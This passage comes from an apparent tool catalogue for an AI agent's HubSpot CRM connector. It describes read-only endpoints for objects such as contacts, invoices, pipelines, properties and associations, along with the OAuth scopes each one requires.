scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/calls/{callId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_carts (read) — Retrieve carts. Retrieve all carts. You can control what is returned via the `properties` query parameter. Carts are the Commerce Hub basket object. Calls GET /crm/v3/objects/carts on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.read. GET /api/v1/hubspot/crm/v3/objects/carts. Scopes: crm.objects.carts.read. hubspot_get_crm_v3_objects_carts_by_cartid (read) — Retrieve a cart. Read an Object identified by `{cartId}`. `{cartId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Carts are the Commerce Hub basket object. Calls GET /crm/v3/objects/carts/{cartId} on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.read. GET /api/v1/hubspot/crm/v3/objects/carts/{cartId}. Scopes: crm.objects.carts.read. hubspot_get_crm_v3_objects_commerce_payments (read) — List. Read a page of commerce payments. Control what is returned via the `properties` query param. Payments recorded against invoices, subscriptions and payment links. Calls GET /crm/v3/objects/commerce_payments on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.read. GET /api/v1/hubspot/crm/v3/objects/commerce_payments. Scopes: crm.objects.commercepayments.read. hubspot_get_crm_v3_objects_commerce_payments_by_commercepaymentid (read) — Read. Read an Object identified by `{commercePaymentId}`. `{commercePaymentId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Payments recorded against invoices, subscriptions and payment links. Calls GET /crm/v3/objects/commerce_payments/{commercePaymentId} on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.read. GET /api/v1/hubspot/crm/v3/objects/commerce_payments/{commercePaymentId}. Scopes: crm.objects.commercepayments.read. hubspot_get_crm_v3_objects_communications (read) — List. Read a page of communications. Control what is returned via the `properties` query param. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls GET /crm/v3/objects/communications on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/communications. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_communications_by_communicationid (read) — Read. Read an Object identified by `{communicationId}`. `{communicationId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls GET /crm/v3/objects/communications/{communicationId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/communications/{communicationId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_companies (read) — Retrieve companies. Retrieve all companies, using query parameters to control the information that gets returned. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls GET /crm/v3/objects/companies on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.read. GET /api/v1/hubspot/crm/v3/objects/companies. Scopes: crm.objects.companies.read. hubspot_get_crm_v3_objects_companies_by_companyid (read) — Retrieve a company. Retrieve a company by its ID (`companyId`) or by a unique property (`idProperty`). You can specify what is returned using the `properties` query parameter. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls GET /crm/v3/objects/companies/{companyId} on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.read. GET /api/v1/hubspot/crm/v3/objects/companies/{companyId}. Scopes: crm.objects.companies.read. hubspot_get_crm_v3_objects_contacts (read) — Retrieve contacts. Retrieve all contacts, using query parameters to specify the information that gets returned. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls GET /crm/v3/objects/contacts on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/contacts. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_contacts_by_contactid (read) — Retrieve a contact. Retrieve a contact by its ID (`contactId`) or by a unique property (`idProperty`). You can specify what is returned using the `properties` query parameter. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls GET /crm/v3/objects/contacts/{contactId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/contacts/{contactId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_discounts (read) — List. Read a page of discounts. Control what is returned via the `properties` query param. Discounts applied to quotes, invoices and orders. Calls GET /crm/v3/objects/discounts on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/discounts. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_discounts_by_discountid (read) — Read. Read an Object identified by `{discountId}`. `{discountId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Discounts applied to quotes, invoices and orders. Calls GET /crm/v3/objects/discounts/{discountId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/discounts/{discountId}. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_emails (read) — List. Read a page of emails. Control what is returned via the `properties` query param. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls GET /crm/v3/objects/emails on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/emails. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_emails_by_emailid (read) — Read. Read an Object identified by `{emailId}`. `{emailId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls GET /crm/v3/objects/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/emails/{emailId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_feedback_submissions (read) — List. Read a page of feedback submissions. Control what is returned via the `properties` query param. Feedback submissions are NPS, CSAT and CES survey responses. Calls GET /crm/v3/objects/feedback_submissions on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/feedback_submissions. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_feedback_submissions_by_feedbacksubmissionid (read) — Read. Read an Object identified by `{feedbackSubmissionId}`. `{feedbackSubmissionId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Feedback submissions are NPS, CSAT and CES survey responses. Calls GET /crm/v3/objects/feedback_submissions/{feedbackSubmissionId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/feedback_submissions/{feedbackSubmissionId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_fees (read) — List. Read a page of fees. Control what is returned via the `properties` query param. Fees applied to quotes, invoices and orders. Calls GET /crm/v3/objects/fees on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/fees. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_fees_by_feeid (read) — Read. Read an Object identified by `{feeId}`. `{feeId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Fees applied to quotes, invoices and orders. Calls GET /crm/v3/objects/fees/{feeId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/fees/{feeId}. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_goal_targets (read) — Retrieve goal targets. Read a page of goal targets. Control what is returned via the `properties` query param. Goal targets are the per-owner sales targets Sales Hub reports against. Calls GET /crm/v3/objects/goal_targets on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.read. GET /api/v1/hubspot/crm/v3/objects/goal_targets. Scopes: crm.objects.goals.read. hubspot_get_crm_v3_objects_goal_targets_by_goaltargetid (read) — Retrieve a goal target. Read an Object identified by `{goalTargetId}`. `{goalTargetId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Goal targets are the per-owner sales targets Sales Hub reports against. Calls GET /crm/v3/objects/goal_targets/{goalTargetId} on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.read. GET /api/v1/hubspot/crm/v3/objects/goal_targets/{goalTargetId}. Scopes: crm.objects.goals.read. hubspot_get_crm_v3_objects_invoices (read) — List. Read a page of invoices. Control what is returned via the `properties` query param. Invoices are the Commerce Hub billing document. Calls GET /crm/v3/objects/invoices on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.read. GET /api/v1/hubspot/crm/v3/objects/invoices. Scopes: crm.objects.invoices.read. hubspot_get_crm_v3_objects_invoices_by_invoiceid (read) — Read. Read an Object identified by `{invoiceId}`. `{invoiceId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Invoices are the Commerce Hub billing document. Calls GET /crm/v3/objects/invoices/{invoiceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.read. GET /api/v1/hubspot/crm/v3/objects/invoices/{invoiceId}. Scopes: crm.objects.invoices.read. hubspot_get_crm_v3_objects_leads (read) — List. Read a page of leads. Control what is returned via the `properties` query param. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls GET /crm/v3/objects/leads on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.read. GET /api/v1/hubspot/crm/v3/objects/leads. Scopes: crm.objects.leads.read. hubspot_get_crm_v3_objects_leads_by_leadsid (read) — Read. Read an Object identified by `{leadsId}`. `{leadsId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls GET /crm/v3/objects/leads/{leadsId} on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.read. GET /api/v1/hubspot/crm/v3/objects/leads/{leadsId}. Scopes: crm.objects.leads.read. hubspot_get_crm_v3_objects_line_items (read) — List. Read a page of line items. Control what is returned via the `properties` query param. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls GET /crm/v3/objects/line_items on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/line_items. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_line_items_by_lineitemid (read) — Read. Read an Object identified by `{lineItemId}`. `{lineItemId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls GET /crm/v3/objects/line_items/{lineItemId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/line_items/{lineItemId}. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_meetings (read) — List. Read a page of meetings. Control what is returned via the `properties` query param. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls GET /crm/v3/objects/meetings on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/meetings. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_meetings_by_meetingid (read) — Read. Read an Object identified by `{meetingId}`. `{meetingId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls GET /crm/v3/objects/meetings/{meetingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/meetings/{meetingId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_notes (read) — List. Read a page of notes. Control what is returned via the `properties` query param. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls GET /crm/v3/objects/notes on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/notes. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_notes_by_noteid (read) — Read. Read an Object identified by `{noteId}`. `{noteId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls GET /crm/v3/objects/notes/{noteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/notes/{noteId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_orders (read) — List. Read a page of orders. Control what is returned via the `properties` query param. Orders are the Commerce Hub order object. Calls GET /crm/v3/objects/orders on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.read. GET /api/v1/hubspot/crm/v3/objects/orders. Scopes: crm.objects.orders.read. hubspot_get_crm_v3_objects_orders_by_orderid (read) — Read. Read an Object identified by `{orderId}`. `{orderId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Orders are the Commerce Hub order object. Calls GET /crm/v3/objects/orders/{orderId} on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.read. GET /api/v1/hubspot/crm/v3/objects/orders/{orderId}. Scopes: crm.objects.orders.read. hubspot_get_crm_v3_objects_postal_mail (read) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls GET /crm/v3/objects/postal_mail on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/postal_mail. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_postal_mail_by_postalmailid (read) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls GET /crm/v3/objects/postal_mail/{postalMailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/postal_mail/{postalMailId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_products (read) — List. Read a page of products. Control what is returned via the `properties` query param. Products are the product library entries line items are created from. Calls GET /crm/v3/objects/products on api.hubapi.com. Requires the HubSpot scope crm.objects.products.read. GET /api/v1/hubspot/crm/v3/objects/products. Scopes: crm.objects.products.read. hubspot_get_crm_v3_objects_products_by_productid (read) — Read. Read an Object identified by `{productId}`. `{productId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Products are the product library entries line items are created from. Calls GET /crm/v3/objects/products/{productId} on api.hubapi.com. Requires the HubSpot scope crm.objects.products.read. GET /api/v1/hubspot/crm/v3/objects/products/{productId}. Scopes: crm.objects.products.read. hubspot_get_crm_v3_objects_quotes (read) — List. Read a page of quotes. Control what is returned via the `properties` query param. Quotes are the customer-facing priced document generated from a deal and its line items. Calls GET /crm/v3/objects/quotes on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.read. GET /api/v1/hubspot/crm/v3/objects/quotes. Scopes: crm.objects.quotes.read. hubspot_get_crm_v3_objects_quotes_by_quoteid (read) — Read. Read an Object identified by `{quoteId}`. `{quoteId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Quotes are the customer-facing priced document generated from a deal and its line items. Calls GET /crm/v3/objects/quotes/{quoteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.read. GET /api/v1/hubspot/crm/v3/objects/quotes/{quoteId}. Scopes: crm.objects.quotes.read. hubspot_get_crm_v3_objects_tasks (read) — List. Read a page of tasks. Control what is returned via the `properties` query param. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls GET /crm/v3/objects/tasks on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/tasks. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_tasks_by_taskid (read) — Read. Read an Object identified by `{taskId}`. `{taskId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls GET /crm/v3/objects/tasks/{taskId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/tasks/{taskId}. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_taxes (read) — List. Read a page of taxes. Control what is returned via the `properties` query param. Taxes applied to quotes, invoices and orders. Calls GET /crm/v3/objects/taxes on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/taxes. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_taxes_by_taxid (read) — Read. Read an Object identified by `{taxId}`. `{taxId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Taxes applied to quotes, invoices and orders. Calls GET /crm/v3/objects/taxes/{taxId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. GET /api/v1/hubspot/crm/v3/objects/taxes/{taxId}. Scopes: crm.objects.line_items.read. hubspot_get_crm_v3_objects_tickets (read) — List. Read a page of tickets. Control what is returned via the `properties` query param. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls GET /crm/v3/objects/tickets on api.hubapi.com. Requires the HubSpot scope tickets. GET /api/v1/hubspot/crm/v3/objects/tickets. Scopes: tickets. hubspot_get_crm_v3_objects_tickets_by_ticketid (read) — Read. Read an Object identified by `{ticketId}`. `{ticketId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls GET /crm/v3/objects/tickets/{ticketId} on api.hubapi.com. Requires the HubSpot scope tickets. GET /api/v1/hubspot/crm/v3/objects/tickets/{ticketId}. Scopes: tickets. hubspot_get_crm_v3_objects_users (read) — List. Read a page of users. Control what is returned via the `properties` query param. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls GET /crm/v3/objects/users on api.hubapi.com. Requires the HubSpot scope crm.objects.users.read. GET /api/v1/hubspot/crm/v3/objects/users. Scopes: crm.objects.users.read. hubspot_get_crm_v3_objects_users_by_userid (read) — Read. Read an Object identified by `{userId}`. `{userId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls GET /crm/v3/objects/users/{userId} on api.hubapi.com. Requires the HubSpot scope crm.objects.users.read. GET /api/v1/hubspot/crm/v3/objects/users/{userId}. Scopes: crm.objects.users.read. hubspot_get_crm_v3_owners (read) — Owners are the HubSpot users records can be assigned to. An owner id is required by every `hubspot_owner_id` property, and this is the only read that produces one. Calls GET /crm/v3/owners on api.hubapi.com. Requires the HubSpot scope crm.objects.owners.read. GET /api/v1/hubspot/crm/v3/owners. Scopes: crm.objects.owners.read. hubspot_get_crm_v3_owners_by_ownerid (read) — Retrieve a specific owner by ID. Retrieve details of a specific owner using either their 'id' or 'userId'. Owners are the HubSpot users records can be assigned to. An owner id is required by every `hubspot_owner_id` property, and this is the only read that produces one. Calls GET /crm/v3/owners/{ownerId} on api.hubapi.com. Requires the HubSpot scope crm.objects.owners.read. GET /api/v1/hubspot/crm/v3/owners/{ownerId}. Scopes: crm.objects.owners.read. hubspot_get_crm_v3_pipelines_by_objecttype (read) — Retrieve all pipelines. Return all pipelines for the object type specified by `{objectType}`. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_pipelines_by_objecttype_by_pipelineid (read) — Return a pipeline by ID. Return a single pipeline object identified by its unique `{pipelineId}`. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType}/{pipelineId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_pipelines_by_objecttype_by_pipelineid_audit (read) — Return an audit of all changes to the pipeline. Return a reverse chronological list of all mutations that have occurred on the pipeline identified by `{pipelineId}`. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType}/{pipelineId}/audit on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/audit. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_pipelines_by_objecttype_by_pipelineid_stages (read) — Return all stages of a pipeline. Return all the stages associated with the pipeline identified by `{pipelineId}`. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType}/{pipelineId}/stages on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_pipelines_by_objecttype_by_pipelineid_stages_by_stageid (read) — Return a pipeline stage by ID. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_pipelines_by_objecttype_by_pipelineid_stages_by_stageid_audit (read) — Return a reverse chronological list of all mutations that have occurred on the pipeline stage identified by `{stageId}`. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls GET /crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}/audit on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}/audit. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_properties_by_objecttype (read) — Read all properties. Read all existing properties for the specified object type and HubSpot account. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls GET /crm/v3/properties/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/properties/{objectType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_properties_by_objecttype_by_propertyname (read) — Read a property. Read a property identified by {propertyName}. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls GET /crm/v3/properties/{objectType}/{propertyName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/properties/{objectType}/{propertyName}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_properties_by_objecttype_groups (read) — Read all property groups. Read all existing property groups for the specified object type and HubSpot account. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls GET /crm/v3/properties/{objectType}/groups on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/properties/{objectType}/groups. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_properties_by_objecttype_groups_by_groupname (read) — Read a property group. Read a property group identified by {groupName}. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls GET /crm/v3/properties/{objectType}/groups/{groupName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. GET /api/v1/hubspot/crm/v3/properties/{objectType}/groups/{groupName}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_get_crm_v3_property_validations_by_objecttypeid (read) — Read all property validation rules for an object. Read all properties with validation rules for a given object. Per-property validation rules - what HubSpot will reject before a write is attempted. Calls GET /crm/v3/property-validations/{objectTypeId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/property-validations/{objectTypeId}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v3_property_validations_by_objecttypeid_by_propertyname (read) — Read validation rules for a property. Read a property's validation rules identified by {propertyName}. Per-property validation rules - what HubSpot will reject before a write is attempted. Calls GET /crm/v3/property-validations/{objectTypeId}/{propertyName} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/property-validations/{objectTypeId}/{propertyName}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v3_property_validations_by_objecttypeid_by_propertyname_rule_type_by_ruletype (read) — Retrieve a validation rule for a specific property and rule type, providing details on how property values should be formatted. Retrieve a specific validation rule for a property identified by its name and rule type. Per-property validation rules - what HubSpot will reject before a write is attempted. Calls GET /crm/v3/property-validations/{objectTypeId}/{propertyName}/rule-type/{ruleType} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/property-validations/{objectTypeId}/{propertyName}/rule-type/{ruleType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v4_objects_by_objecttype_by_objectid_associations_by_toobjecttype (read) — Retrieve all associations by object type. Retrieve all associations between a specific record and an object type. Limit 500 per call. Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls GET /crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_events_v3_events (read) — Behavioural events recorded against a contact. Calls GET /events/v3/events on api.hubapi.com. Requires the HubSpot scope oauth. GET /api/v1/hubspot/events/v3/events. Scopes: oauth. hubspot_get_events_v3_events_event_types (read) — Behavioural events recorded against a contact. Calls GET /events/v3/events/event-types on api.hubapi.com. Requires the HubSpot scope oauth. GET /api/v1/hubspot/events/v3/events/event-types. Scopes: oauth. hubspot_get_files_v3_files_by_fileid (read) — Retrieve file by ID. Retrieve a file by its ID. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the 